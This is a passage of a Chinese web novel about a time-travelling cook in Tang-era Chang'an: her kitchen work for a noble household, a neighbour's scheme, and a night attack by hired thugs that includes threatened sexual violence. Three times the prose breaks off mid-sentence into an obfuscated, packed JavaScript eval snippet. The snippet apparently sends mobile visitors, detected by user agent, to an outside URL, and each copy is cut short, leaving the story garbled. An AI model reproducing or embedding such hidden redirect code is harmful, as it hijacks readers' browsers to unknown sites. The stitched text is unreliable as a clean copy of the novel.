卢娘子低声解释:“哈维他们初来长安,水土不服,又嗜食肉酪,蔬果吃得少……我见你连贵人的胃口都能调理,便带他来碰碰运气。”她言语间,既卖了哈维人情,也再次强调了童白与崔府的关系。 童白:“可我并不是医者。” 哈维急切地从怀中掏出一个布包,小心翼翼地打开。里面是几片干燥的、微带黄褐色的根片,散发着一种清冽中带着一丝苦意的香气。 “童小娘子,这是个好东西!”哈维压低声音,神秘兮兮,“从极西之地带来,名‘沙赫’,煮肉汤极香!若娘子能帮我们,这个,送娘子!” 童白仔细辨认,心中一动。这并非什么“沙赫”,这是品质上乘的白芷!据她所知,此时优质的白芷价值不菲,且并非寻常可得。 她深吸一口气,面上不动声色:“哈维郎君客气了。此事……我或可一试。”她心思电转,立刻有了主意,“明日此时,请郎君再来,我备些有助于通利的饮子与食膳方子给你。” 哈维大喜过望,连连道谢后才与卢娘子离去。 童白心潮澎湃,刚转身欲进家门,隔壁院门“吱呀”一声开了。陈娘子倚在门边,语带酸意:“哟,童家妹子如今可真了不得,连胡商都寻上门来。有这等门路,日后发达了,可别忘了拉拔姐姐一把。” 童白不欲多言,只淡淡点头,眼角余光瞥见陈家院内两个与二郎年纪相仿、身形瘦弱的孩子,正怯生生地望着她。 身形微顿,未发一语,她推门回家了。 是夜,童白在灶屋的油灯下,仔细写下明日以及为哈维准备的便秘食疗菜谱。 十九爷的胃她需要伺候好,胡商这条潜在的人脉也要开拓,甚至于付坊吏、胡叔那边,亦需维持关系。这些看似不起眼的角色,谁知日后会不会成为她创业路上的助力? 64. 哈维不傻 童白的“五香煨菜”和“灌汤蒸饼”在崔十九郎的学堂里,引发了小小的风暴。 连续几日,一到午膳时分,以王六郎为首的几名同窗,也顾不得矜持,便眼巴巴地凑到崔十九郎的桌前。 他们多是清流官员家子弟,家中饮食崇尚俭朴,何曾见识过这般化寻常为神奇的滋味? 在王六郎的有心之下,这两日,他们也尝到了崔十九郎家中厨娘的手艺。 那煨菜看似清淡,入口却鲜醇层次分明,萝卜软糯如膏腴;而蒸饼皮薄如纸,内里汤汁丰盈,一口下去,鲜香在舌尖绽放。 美食这事,便是吃过更美味的食物后,原本那些尚能入口的真‘粗茶淡饭’顿时难以下咽。 “十九郎,这、这真是萝卜?”王六郎吃得额角冒汗,含糊不清地惊叹,“我在家吃的可不是这滋味!”家里厨子做出的萝卜总有一股子说不上来的生味儿。 “对,我也想问这真的是萝卜吗?我家厨娘做的,也没这好吃。” “这灌汤蒸饼才是一绝!汤汁是如何锁住的?妙极!妙极!” 众人七嘴八舌,平日里的那些隔阂和不熟悉,此刻被氤氲的热气与香气彻底消融。 崔十九郎端坐其中,心中波澜微起。 他出身崔氏,却是旁支庶子,在这世家与清流界限分明的学堂里,地位尴尬。堂叔崔将军将他送入此处的深意,他至今未能全然参透,但他知道,这是他在长安累积人脉的机会。 学堂犹如小朝堂,哪怕他为了融入其中不惜动用了外祖备下的人脉,却也无用。 谁承想,竟因童小厨娘的手艺,破局了。 他缓声道:“这些不过是家中厨娘为我调理身子所制,若各位不嫌简薄,我让仆从明日多备一些送来。只是……”他话语微顿,“份量恐难充裕,还望海涵。” 话音未落,御史大夫家的嫡孙卢三郎急忙接道:“如此便感激不尽!”他清俊的脸上泛起薄红,不知是欢喜还是羞窘。 卢家和崔家一样都是世家,卢三郎祖父这一支也属于旁支,虽说祖父争气,但也明白崔十九郎的不易。 听说崔十九郎因生母娘家获罪而被生父所不喜,能搬出家中全赖堂叔和堂叔祖母相帮。 卢三郎想起祖父前几日的叮嘱:“勿参与学堂派系,与同窗和睦为上。”且不论祖父是如何知晓学堂内情,但祖父的话语,他却不敢不听。 当然,崔十九郎家仆从送来的饭菜味道好,亦是极大的缘由。 送菜小厮回府后便跟崔老禀告了学堂里的情况。崔老喊来管事,交代他日后采买食材前都需先跟童小娘子询问所需。 这慎重的模样,让管事不由心中一凛,赶忙应下。 要知道,主子搬来府中后,惯来是管事买什么,厨子做什么,提前询问,还属于头一遭。 这消息也传到了吴大厨耳中,吴大厨暗自不爽,一旁的帮厨眼咕噜一转,气不过道:“这小娘子,运气忒好!怎就没惹恼了十九爷?” 主子再不得亲爹喜欢,也是主子,也不知道那小娘子怎么想的,会给主子做青菜萝卜豆腐一类的菜式,但哪知道,笑话没看成,倒是让童小娘子在主子面前露了脸。 吴大厨恨声道:“可不是?如今倒让她在郎君的同窗面前露了脸!” 当日,童白下工,崔老亲自送她出府。行至廊下,崔老小声提点:“童小娘子,近日郎君在学堂,颇得同窗青眼,皆因小娘子手艺精湛。只是……树大招风,府内府外,眼睛多着呢。小娘子行事,还需更谨慎些才好。” 府中其他人都瞧出了童小娘子的不一般,作为十九爷身边幕僚的崔老自然更清楚,对于十九爷心中如何看待童小娘子,他不愿多言,但顺嘴一句话得一份顺水人情之事,他是愿意做的。 童白心中一凛,知这是善意的警告,敛衽行礼:“谢崔老提点,奴省得。” 她知道,自己看似站稳了脚跟,实则暗流涌动。 回家路上,童白跟车夫说送她去西市。 哈维那边用白芷作为谢礼,想要她做一些通便的食物,白日里她在崔府忙碌,只有这会儿才有时间去西市采购食材。 到了快要闭市的时间,西市并没有冷清,反倒十分热闹,但是县郊前来售卖东西摆摊的摊子已经不见了,更多的都是去店铺里采购的身影,不是别的,全因宵禁制度严苛。 童白叹了口气,也不知道怎么就穿来了这里,让她靠美食创业赚钱之路,如此的困难。 不过匆忙的行人让她意识到自己没时间心下戚戚,找到专门售卖菜蔬的店铺,买下有些蔫搭的荠菜和春笋,匆忙来到了上回去过的胡商店铺。 许久没来,铺子里一切都好像没有变化,那股混合着干草药、皮革与陌生香料的气味依旧浓郁。高鼻子伙计依然懒洋洋地靠在柜台后,见到她进来,眼帘微微一抬,“小娘子可有什么需要买的?” 童白定睛多瞧了这位高鼻梁伙计,发现这人并不似上回帮他时那位,倒像是最开始买霉豆子那回遇到的,她心中留了意,面上却不显,整理了下心情,“不知店铺近期可有来什么新的货物?尤其是些域外的香草或菜种?” 上回来,她还是个兜里铜板走路都不响的,现如今,她摸了摸鼓囊囊的袖袋,心下有了底气。也敢明着说出自己想要的货品。 那伙计见她气度从容,这才打起几分精神,从柜台下取出几个小布袋。童白仔细翻看,最终挑中了一小包气味清冽如松针的干香草,和几颗据说能结出酸甜小果的种子,虽不认得,但值得一试。 待得童白从胡商铺子出来时,手上多了个小纸袋,但是袖袋里的荷包却是瘪了下来,真是花钱比赚钱易! 童白怀揣着新得的香料,脚步轻快地回到双梧巷。她在灶屋忙活一阵,待到晚霞漫天时,她敲响了胡商暂居的宅门,将装在瓦盆里的春笋荠菜粥递给哈维:“此物清肠润燥,你们可以试试。” 哈维低头瞧见那一碗绿色黄色素的可怜的清粥,脸色可见的有些发绿,“小娘子,这,没有肉食,我们吃不下啊。”他们的饮食惯来以肉食和焦香的胡饼为主,像这种跟野草一样的绿色食物,他看见就觉得嗓子发痒,一点都不想吃。 “那也没办法,你们这不是吃肉没法如厕,反正食物我是放在这儿了。本也不是什么精贵的,你们愿意试一试就喝了,不愿意也就算了,至于那说好的谢礼,”童白刻意停顿下,仔细瞧了瞧对方,再继续道:“我也不是那贪图便宜之人,这点粥食,算是我送给你们的。” “那多不好,都是之前说好的,”哈维眼中神情复杂,说着,就要从怀里掏出东西。 童白退后两步,“不了,不了,说了是送给你家的,那便是了,如果哈维先生真过意不去,不若帮我留心些西域特有的、并非天价的可食用香草或种子,我愿以适合你们口味的美食,或银钱相换。我们各取所需。” 哈维眼中精光闪烁,微眯着眼:“好!一言为定!”他抬了抬手中的大瓦盆,笑道,“那就谢过童小娘子了。” 童白走在春日夕阳里,脚步轻快。白芷是好,她也想要,但也做不出用一晚蔬菜粥就换的事。 再说也不是她想换就能换来的,哈维可不傻。 然而,行至巷尾,她脸上的笑意淡去。只见陈娘子领着那两个面黄肌瘦的孩子,等在自家门前,脸上带着愁苦与急切。 “童家妹子……”陈娘子未语先叹,用帕子按了按并无泪痕的眼角,“我知道先前陈大河有不是之处……可他的不对不足以祸及这两个孩子,他们爹娘去得早,族里也艰难……我这心也是肉长的,看不下去啊……”她推了推身前那个稍大点的女童,“快,给童家姨姨磕头,求姨姨给条活路,能赏口饭吃,干什么都成!” 那两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677931|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个孩子怯生生地就要跪下,眼神惶恐而无助。 童白心中一紧,在红旗下成长的一代,见不得这一幕。但,脑中警铃大作。她迅速侧身避开,不受此礼。陈娘子是陈大河的族人。陈大河此人不仅窥视自家,还对二郎下手。若不是张勇军士正巧路过救了二郎,想着陈大河那阴暗的眼神和嚣张的言语…… 她若是可怜孩子,谁来可怜自己! 而陈娘子现在的所作所为,未免过于天真。 哦不,童白眼神微眯,或许不是天真,是欺她童家无人,底气不足,更是试探。 童白语气平静无波:“陈娘子言重了。家家都有本难念的经,我家中实在无力收留外人。”停顿片刻,“倒是,坊中慈幼局或能施以援手,娘子不妨去问问。”慈幼局便是后世的孤儿院。 陈娘子紧握手,眼中浮现几分冷色,但很快又转为愁色,“那慈幼局哪能有在家好呢。” “陈娘子确定?”童白视线在两个瘦弱孩子身上瞧了好几眼,“还有,说在家过不下去的不也是陈娘子你?”说着,也不等陈娘子说话,视线看向陈家院子,“又或是,卖了这处,他们姐弟得了银钱,也能过得好一些。” 卢娘子提过,陈大河只是孩子的族叔,在孩子父母死后打着照顾孩子的名义住进来的。却又对孩子不好,邻里间看不惯,但又做不了什么。 这里,家族大于天。并不像后世,对陈大河这种虐待儿童的,好歹能报警。 陈娘子脸色微微一变,强笑道:“若卖了这房,他们可没地方住了,而妹子如今在贵人面前得脸,手指缝里漏点,也够他们活命了……” “娘子慎言。”童白打断她,语气微冷,“我在崔府是凭手艺做事,挣的是辛苦钱,养的是自家人。并非做了什么主子。收留外人这等大事,恕难从命。此事无需再提。”说完,不再理会陈娘子那青红交错的脸色和眼中一闪而过的怨毒,径直推开自家院门。 院门“咔哒”一声合上,她靠在门板上,心情并不轻松。她清楚,陈娘子此举,恐怕不止是打秋风那么简单,更像是借机将人塞到她身边来。 无论哪种,她都绝不能答应。 春夜微风带着凉意拂过庭院,白氏担忧地看过来。童白深吸一口气,压下心中的纷乱。 也不知道童家怎么了,怎么招了这么多的惦记。 日后,她定要更小心谨慎。 双梧巷发生的一切,当晚便传到了文奶娘那,她目光阴郁,脸色在昏黄的灯光下显得尤为可怖。 站在下首处的玉娘,抿了抿唇,一时间没想好该如何开口。 她虽不聪明,却也明白自家姨母这次愿意对童家出手,是因为表弟的前程。要不然,若姨母真想动手,白霜娘这些年在府上,哪能落着好。 而文奶娘也不需要她开口说话,冷着声道:“既然这童小娘子还算聪慧,玉娘,你并非她的对手。”她话锋一转,带着施舍般的意味,“不过,看在你是我外甥女的份上,姨母再给你出个主意。” 玉娘满脸谄媚,“玉娘谢过姨母。” 文奶娘招招手:“你附耳过来。” 玉娘凑上前,听着那阴损的计策,脸上血色褪尽,嘴唇嗫嚅了几下,却没能说出话。 文奶娘斜眼睨她,“怎么,这就怕了?” “姨、姨母……”玉娘咽了口口水,艰难道,“这……这若是被发现了……” “没用的东西!”文奶娘低声斥道,“你按我说的做,自然万无一失。莫非你不想替你表弟,也替你自己,扫清这绊脚石了?” 玉娘被这一激,那点害怕立刻被不甘取代,硬着头皮道:“谁说的!我……我明儿就去做!”说着,几乎是逃离了文奶娘的房间。 文奶娘看着她的背影,嘴角露出一抹阴险的笑容。 呵,倒是个听话的,就是太蠢,手段也不够狠。 65. 夜袭 延寿坊崔家下人院。 “消息确定?”一道女声在略显昏暗的室内响起,说话之人是崔夫人身边的文奶娘,她衣着体面,原本慈眉善目的眉眼此刻却带上了几分阴戾之气。 “确定!大军现在正驻扎在长安县郊,”说话之人是一名面容普通的老妪,她姓文,是文奶娘的族姐,前些年投奔文奶娘来,被文奶娘安排住在长安城中,“都说钦天监已在择选吉日。” 文奶娘眼神冰冷,“他倒是命大!没想到这次能回来不说,还立了功,阻了我儿的前程……”他顿了顿,声音压得更低,“童寄这人,尤为看重家人,若他回来,发现家破人亡……你说,一个在战场上厮杀惯了的悍将,骤然遭受此等打击,他会如何?” 老妪浑浊的眼中闪过一抹狠毒的精光,“必定心魂俱损,发疯发狂。” “没错。”文奶娘嘴角勾起一抹残忍的笑意,“我要的就是他发疯,发狂!一个疯了的前锋校尉,在长安城里闹出点什么事,呵呵呵……你交代那边,做得像遭了悍匪,手脚干净些。” “是!”说话的老妪正准备退出,却被喊住。 “且慢,”文奶娘冷声补充,“记得,尸身要惨烈些!” 安仁坊崔宅 小厨房里热气蒸腾,童白正低头揉制鱼丸,手法熟练且利落好看。 崔老进来,挥退了几名帮厨。 童白闻声抬头,正要舀水净手,崔老已走近摆手道:“不必忙,我说完就走。” 童白心下一咯噔,面上不显,轻声询问:“崔老,可是有我爹的消息了?” 上回官爷们问过后,就一直没见动静,卢婶子回娘家打听,反被其兄长训斥一顿,弄得白氏一直挂心,却不敢多加询问,也没处去询问。 她便求到了崔老这。 崔老抚须,“是,大军已至长安城外,只待钦天监择定吉日,便可入城。” 童白面上适时地露出惊喜笑容,“多谢崔老告知,这可帮了奴一家大忙了。”心却直直往下坠。 崔老意味深长地看她一眼:“小娘子该谢的,是十九爷。” 童白垂首:“谢十九爷,也谢崔老。” 回至双梧巷,她敲响吴家院门。卢娘子见她来了,略显意外,听了消息后笑容真挚,连声道:“大善”。 待童白离去,卢娘子去到灶屋,对吴三娘低语:“瞧见没?这便是为何阿娘让你与童家小娘子交好。她在贵人跟前做事,消息灵通……” 是夜,童家因这消息欢喜不已,全家人除童白,全沉浸在童寄即将归家的喜悦中。 唯有童白,面上欣喜,内心惶惶。 明月挂在星空夜幕之上,双梧巷在夜色之下显得格外宁静,偶有几声犬吠从巷口传来。 躺在床上,白日里得来的消息让童白辗转难眠,童爹不日归家,崔老意有所指的那句“该谢十九爷”,两件事就像两颗石子纠缠在她的心头。 这位十九爷,世家子弟,屡屡对她施以援手。谢家看中她的厨艺下一步就是将她买下,十九爷呢?而仅仅是因为看中她的厨艺吗? 童白翻了个身,耳边是白氏均匀的呼吸声,心头那股子不安越发清晰。 夜,更深了。 童白在半梦半醒间,似乎听到院墙外有极其轻微的脚步声。她骤然惊醒,心砰砰的狂跳!屏住呼吸,仔细听来,不是错觉! 那脚步声虽轻,却有人被她那日添在墙头的碎陶片划伤,发出闷哼,在寂静夜里格外清晰。 听动静,外面不止一人! 她猛地坐起,轻推身旁白氏,同时捂住她的嘴,压低声音:“阿娘,别出声,外面有人。” 白氏瞬间惊醒,眼中满是惊恐。 童白顾不得那么多,光着脚蹑手蹑脚来到门边,侧耳贴上门板。 白氏趁机学样叫醒二郎,至于三娘和四郎,年岁太小,叫醒无用,不若现在睡着来得合适。 童白在房内摸索一番,只在针线篓里寻到一把铁剪,聊胜于无,她仅仅攥住,冰凉的触感让她稍微镇定。她示意白氏和二郎躲在床脚,她则是屏住呼吸,贴在门边。 这时,院门门闩发出极其微弱的声音,这是被翻越进院门的人打开了! 几道黑影如同鬼魅般闪入院内,直扑主屋而来。 童白脑中瞬间空白,绝望如同寒冬冰水,淹没了童白。她握着剪刀的手在颤抖,对方人多,家里不是妇人就是小孩,她这点微末的反抗,无异于螳臂当车。 但,她好不容易才在长安城展露厨艺,难道就要终结在这个夜晚? 她紧咬牙关,唇齿间有着铁锈味。 “砰!” 主屋大门被一脚踹开,夜间的寒意瞬间涌入。 童白瞪大着眼,看着几名面目狰狞的汉子逼近,抬起了紧握铁剪的手。 “哈哈哈哈,弟兄们,你们瞧瞧,这小娘皮想要用把破剪子抵挡我们。” “哎呀,没想到还挺烈性的,大哥,这小娘皮让我来对付吧!” “老三,你倒是想得美,老大,我不挑,我要那个老的。” “呸,谁不知你就好这口!” “哈哈哈哈哈,人妇才够味儿。” 童白浑身发颤,听着他们旁若无人地分赃,仿佛自家几人已是砧板上的鱼肉。 身后传来白氏惊恐的哀求,“各位好汉,这里是我家全部的银钱,你们都可以拿走,只求放过我们。” “这位娘子,我们兄弟可不是什么好汉,”为首那人□□着逼近,“我们是你的好夫郎、好女婿啊,哈哈哈哈哈……” 就好像是猫逗弄老鼠一般,他话语说的很慢,行走的也很慢,享受着眼前几人的恐惧和无助。 白氏哭喊着求饶,二郎握紧双拳,头脸通红,但也知道自己做不了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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看着身后躺在地上人事不知的人,“今夜之事,为了府上的名声,最好不要外传,我们会有人守在暗处,童小娘子请放心安歇。”说完,打了个手势,手下人迅速清理现场,将那几名昏迷的歹人拖走,仿佛一切都未发生过。 院门被重新闩上,院内恢复了寂静,只有地上几块深色湿地和空气中若有若无的血腥气,证明着方才的凶险。 童白摸索着拾起剪刀。二郎过来,两人将踢坏的门板勉强倚好,挡住夜风。白氏放开四郎,将他放回床上,又拉过懵懂的三娘,用被子紧紧裹住。 童白将剪刀放入枕头之下,和二郎爬上床,搂着二郎和三娘,身旁的白氏轻声哄着怀里的四郎。 一家人靠的很近很近,就好像只有用彼此的体温,才能慰藉她们心中的恐慌。 66. 抽丝剥茧 次日清晨,安仁坊崔宅,书房。 崔十九郎听着下属的汇报,纤长的手指轻轻敲击紫檀木桌面。 “文氏……果然动手了。”他语气平淡,就像在说今日吃什么一般。 “是,我们连夜审问了那几人,几人在前朝时做的便是杀人越货的勾当。圣上建朝后,对长安城管控的极严,他们已金盆洗手隐在城中。只是……” “只是什么?” “文氏给的银钱太多了,他们打算做完这一单,就逃出长安城,远走高飞!因此……”回话之人略一迟疑,咬牙继续:“他们奉命……先奸后杀,几个小的要处置得格外惨烈,务求让人一眼便知死前受了何等折磨……”审问时听得的污言秽语,他实在不愿在主子面前复述。 前朝乱世多年,他见过杀戮之事不少,但如文氏这般要求虐杀的雇主,实属不多见。 崔十九郎不喜地皱眉,“好一个文氏,她想用童家人的惨死,刺激童校尉,歹毒!”冷哼一声,眼中厉色一闪,“她真以为逼疯童校尉,她那不成器的儿子就能顶替上去?” 就像他从学堂退学,十五就能顶替他的名额? 真不愧是主仆,想法都一致。 崔十九郎视线移到垂手侍立在旁的崔老身上,拇指和食指轻揉眉心:“加派人手,日夜守着双梧巷,童小娘子来回的马车,也配上护卫。”转头看向汇报之人,“把那几个歹人断舌断手脚筋,扔到那下单之人的院里去。” “是!” 于此同时,双梧巷巷尾童家。 鸡鸣三声,童白便醒了。枕下铁剪的冷硬触感提醒着她,昨夜之事并未噩梦。她悄然起身,白氏与弟妹们犹在沉睡,白氏和二郎眉间紧皱,带着一丝惶然。 走入灶间,看着空荡冷清的厨房,劫后余生的庆幸瞬间袭上心头。 她舀出麦粉,打入两个鸡子,加入稍许盐沫和清水,开始和面。童白的动作不疾不徐,带着一种特有的节奏和专注,也仿佛要将后怕和不安,都揉进面团中。 面团醒发时,她将白菜切成小块,又将昨晚剩余的肉沫,点燃灶火,用陶瓮将白菜和肉沫混合炒出香味,放在一旁。 昨夜受惊,今日早膳她打算做点馎饦,其实跟后世的面片汤很像,是长安城内较寻常的食物,也最能暖胃暖心。 面团醒好,陶瓮中添加水,咕嘟咕嘟滚开后,童白将面团抻开,拉长,熟练地撕成大小均匀的片状下入锅中。 微微发黄的面片在滚水中翻腾的间隙,她将翠绿的荠菜撒入面片锅中,一烫即熟,连汤带面片盛入粗陶大碗,连同一旁的早已做好的臊子一起。 热气腾腾、香气扑鼻,食物的暖意瞬间驱散了屋内的寒意与惊悸。 童白转身欲去唤家人起床,却见白氏与二郎已站在灶屋门口。白氏眼圈通红却强忍泪水,二郎快步上前,乖巧地帮忙拿取碗筷。 快速洗漱过后,一家人围坐在一起,安静吃着馎饦,温暖的食物下肚,紧绷的神经得到缓解。 三娘吃的很开心,吃一口就偷偷瞄童白一眼,小模样可爱的很,童白问她:“三娘这般瞧阿姊是为何?” 三娘咧开油乎乎的嘴,手指着碗里的面片汤,“阿姊,好次!” 这话一出,大家瞬间明白她的意思,白氏这段时间接过掌勺,但并不是有心就能做好吃的,她的手艺比起童白来说自是比不上的。 白氏双颊微红,恼羞道:“罢了罢了,就你嘴刁,晓得你阿姊手艺好,少说,多吃点。” 童白不禁莞尔,二郎也跟着一起笑。 一时间,笑声夹杂着稚童的声音,驱散了阴霾。 今日来接童白的马车辕上,多了一名腰佩短刀的护卫。童白视线扫过,在上车前对白氏轻声道:“阿娘,锁好院门。” 马车抵达崔府,童白并未立刻去厨房,而是请引路的侍卫通传,想见崔老。她被引至一间雅致小花厅,空气中弥漫着清冽木香。她垂首静立,手心微潮,内心忐忑。 脚步声近,崔老的声音响起:“童小娘子寻老夫何事?” 童白循声望去,就见鬓角灰白的崔老迈入门内,上前两步郑重行礼:“崔老,奴家中昨夜……遭了盗匪。”她声音微哽,“幸得十九爷派人护卫,方得保全。此恩……奴一家没齿难忘。” 崔老见她眼眶红肿,叹息宽慰:“万幸有惊无险。十九爷既出手,必会护你一家周全。” 听到这话,童白连日积压的情绪骤然翻涌。 穿越至今,她步步艰难。初来时险些饿死,设法自立却差点被亲娘发卖,有一身厨艺却不敢施展,连在坊间叫卖也要被坊吏刁难。昨夜更是险些命丧黄泉! 她一个在法治社会平安长大的灵魂,何曾想过会亲身经历刀兵加身、命悬一线的时刻?这吃人的世道,比她看过的任何一部古装剧都要残酷百倍。 委屈、不甘、后怕……种种情绪交织,眼泪不受控制地扑簌落下。 崔老见她突然落泪,顿时无措:“童小娘子,你……你别哭啊。你这般,老身如何向十九爷交代?” 童白边拭泪,边哽咽道:“崔老,无事,奴只是有些后怕,却又不敢在家人面前落泪。”委屈是真委屈,落泪也是真落泪,也是她释放压力的一种方式。 而且,这泪还就真该落一落,毕竟,以原主的经历和年岁,能做到来这里才哭,已算得上是心性坚韧。 “……待十九爷归来,请您转告一声,奴愿以手中食方为谢礼,答谢十九爷救命之恩。” 本是件你情我愿的交易,但童白这般哭着说出来,倒让崔老觉得自己像是‘逼良为娼’的恶霸帮凶。 他脸色一僵,忙甩开这荒谬念头,应承道:“好,待十九爷回府,老身定当转达。” 童白谢过崔老,转身踏出花厅。直到走出很远,确认四周无人,她才允许自己靠在冰凉的廊柱上,深深喘息。刚才那一场哭,半是真性情,半是表演,此刻卸下心防,只觉浑身脱力。她用力掐了自己手心一下,疼痛感让她瞬间清醒。 哭过了,怕过了,日子总要继续。既然选择了这条路,就得走下去。她深吸一口气,将所有的委屈与恐惧都压回心底,眼神逐渐变得坚定而清明。重新挺直了背脊,她独自向小厨房走去。 回到小厨房,童白用白水煮了鸡子,剥了壳,趁热在眼圈周围轻轻滚动以消肿。 厨房众人瞧见她的举动,却没人敢多言一句。等到眼睛没有那般难受了,童白便开始准备膳食。 经历昨夜,她对穿来的这个世道有了更深刻的认知。 昨日的匪徒没明说指使他们的人是谁,但她隐约也有猜想,昨夜她睡不着的时候,将穿越来后发生的一桩桩一件件事情掰开揉碎细思几遍,不难得出隐在暗处的人手段越发狠厉和摆在明面上来。 定是有什么事促发了对方。 比如说童爹即将归家,又比如说她在十九爷面前越发得脸。 前者她无法左右,后者,她觉得自己可以做的更好。 十九爷既要求午膳多备些,想必其中部分是分享给同窗食用。听说能在学堂里求学的学子皆非富即贵。 只有在十九爷面前体现的价值越多,十九爷才会愿意继续安排人保护她,保护童家。 或许,跟童爹坦白,有她这份心思和利益关系在,对方也能更能接受自己。 思及此,她又去了趟后厨仓房,这里存放着崔家所有的食材。完全没有在意身后那群帮厨因瞧见她红肿的双眼而心思涌动。 不多时,崔府帮厨间便流传开“童小娘子因差错被崔老严厉斥责”的消息。 众人眼神交汇,却无人敢上前询问或者多言。这段时日,童白在庖厨之道的本事众人有目共睹,即便有心思活络的,此刻也不会明着得罪。 唯有角落里一名帮厨,眼中除了打量外,还有不解。 童家小娘子怎么还能如常来上工,若是计划未变,此刻不应该…… 莫非,那边还未动手? * 崔十九郎回府时,已是申末时分。 崔老候在书房外,见他归来,上前低声将童白之事一一禀明,包括她落泪及献食方之举。 “哭了?”崔十九郎脚步微顿,眉梢轻挑。他印象中的童白,虽年纪不大,却沉稳坚韧,似蒲草般不易折损。能让她落泪,可见昨夜之事确实将她吓得不轻。 想着自己吩咐,要等到最后时刻才救人的命令,他心下升起一股异样,很快又压下去了。 “是,哭得甚是伤心。老奴瞧着……倒不全是因着害怕,更像是积压许久的委屈,借机发泄了出来。” 崔十九郎沉吟片刻,推门走入书房:“让她来书房见我。” “是。” 半炷香的时间过去,书房外传来小厮通报童小娘子求见的声音。 “进来!”崔十九郎的声音一如往常,清朗平静。 童白深吸一口气,跟在崔老身后,踏入崔十九郎的书房。 书房布置清雅,四壁书卷盈架,紫檀大案上笔墨纸砚井然,空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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童白心中惶惶,入崔府为厨,看似是条出路,实则等于将自身自由完全交托。届时是奴是仆,皆由对方一言而决。前世她虽为生活奔波,却有人身自由。如今生死荣辱皆系于他人一念之间。这真的是她想要的吗? 可若拒绝……她有何资本拒绝一位屡次施恩的世家子弟?更何况,暗处还有人盯着自家。 仅凭自家之力,她该如何抗衡? 虽然童寄即将归家,童家看似多一个依靠,但正是因为童寄即将归家,这个时候答应崔十九爷的要求,于她个人而言或许是庇佑。 权衡只在刹那,童白声音清晰而坚定:“承蒙十九爷不弃,奴愿尽心竭力,为十九爷调理膳食。只是奴不明白,这和之前的五十日之约可有何冲突或联系?” 崔十九郎之前一直在不动声色的观察童白的神色,见她依然不卑不亢,条理清晰,眼中掠过一丝极淡的欣赏。 “并无冲突,五十日之约是为童小娘子调理我的身体,信得过的庖厨则是……”他刻意在此停顿,看向童白的眼神中带上了几分意味不明。 童白不懂为何十九爷这般看向自己,与崔十九郎眼神对视一瞬,复又想起仆从不能与主家对视之规,慌忙垂下眼帘。 或许是她这般举动取悦了崔十九郎,他心情很好的继续道:“除了负责我的膳食外,还需准备府中宴请……以及主家的别的需求。 当然,五十日的赏银照旧,除此之外,你每月还能领得一份月例,食方另算。”崔十九郎说完这些,背靠在椅背上,神情闲适,“还有,目前守在你家的那些护卫,我也不会撤出,另外,我还会让他们追查你家昨日遇袭的背后之人,以上这些条件,童小娘子觉得如何?” 童白想问,若是做了庖厨,她还能在正职之外做些私下的兼职吗?但想着昨夜才经历之事,她不愿这个时候去触怒十九爷,“谢十九爷!” 这句谢她说的真心实意,心里明白,这已是最好的结果。 “下去吧。” “是。” 童白退出书房,背心已沁出一层薄汗。与崔十九郎对话,虽只片刻,却比应对一整日的灶台还要耗费心神。 她抬头看了眼廊外湛蓝的天空,心中一块大石暂时落地。 而在书房内,崔十九郎展开那张食方,扫过上面记载的“蜜渍金齑”、“酸腌菜”、“灌汤蒸饼”等食方,唇角微不可察地扬起一抹极浅的弧度。 他低声自语,声音轻得只有自己能听见:“……总算,为我所用了。” 复又抬声道:“来人,安排车辆,去延寿坊!” 67. 自立 车夫驾着马车行驶在长安坊间的石板路上,崔十九郎坐在车厢中,闭目养神,坐在旁边的崔老时不时往主子那瞧上一眼,很快又移开。 “有话直说便是。”崔十九郎睁开双眼,面向崔老。 崔老轻咳一声,神情肃然:“十九爷是打算去为童小娘子撑腰?”安排侍卫护住童家人已是施恩,为此去延寿坊,现下来说,有些过早。 崔十九郎神色淡淡,不答反问:“崔老以为呢?” 崔老眼帘微垂,“老朽以为,实属没必要打草惊蛇。”他知道主子心有乾坤,也不是个容易被人影响的性格,但想着主子为远在西南的舅老爷一家所做的筹谋,忍不住多言。 崔十九郎藏在衣袖下的食指摩挲着拇指上的扳指,崔老说的没错,若是为童家之事找上延寿坊,实属没有必要。 但,谁说他这趟是去质问或者撑腰的? 老话说狗急了会跳墙,兔子急了会咬人。那心思歹毒之人急了,会做出什么事来呢? 不得不说,他有所期待。 “天冷,蛇不动,如何抓?”崔十九郎眼眸微动,“再说,这一趟,我只是去看望老夫人。” 崔老看向十九爷,少年稚嫩的面容,深邃的眸子中闪烁着精光,他的主子虽然年纪尚轻,却胸有乾坤,不仅靠着自己的运筹帷幄将老主子的宅子弄了回来,还在为他们回长安城中谋划。 他又有什么不可相信的呢? 崔十九郎到达崔府时,正巧是府中用膳之时,崔老夫人知道他来了,吩咐嬷嬷让人再上一份碗箸。 “衔儿来了,”看着站在厅中的少年,老夫人的慈爱目光在他身上上下打量了许久,“来,走近点,让叔祖母仔细瞧瞧。” 这熟悉的衔儿两字,让崔衔心中情绪翻涌,崔家人一般唤他十九,唯有老夫人和母亲唤他名较多。 崔衔上前几步,站在距离老夫人两尺处,任老夫人打量。 经过童白这段时日的饮食调理,他的脸颊明显饱满、红润不少。 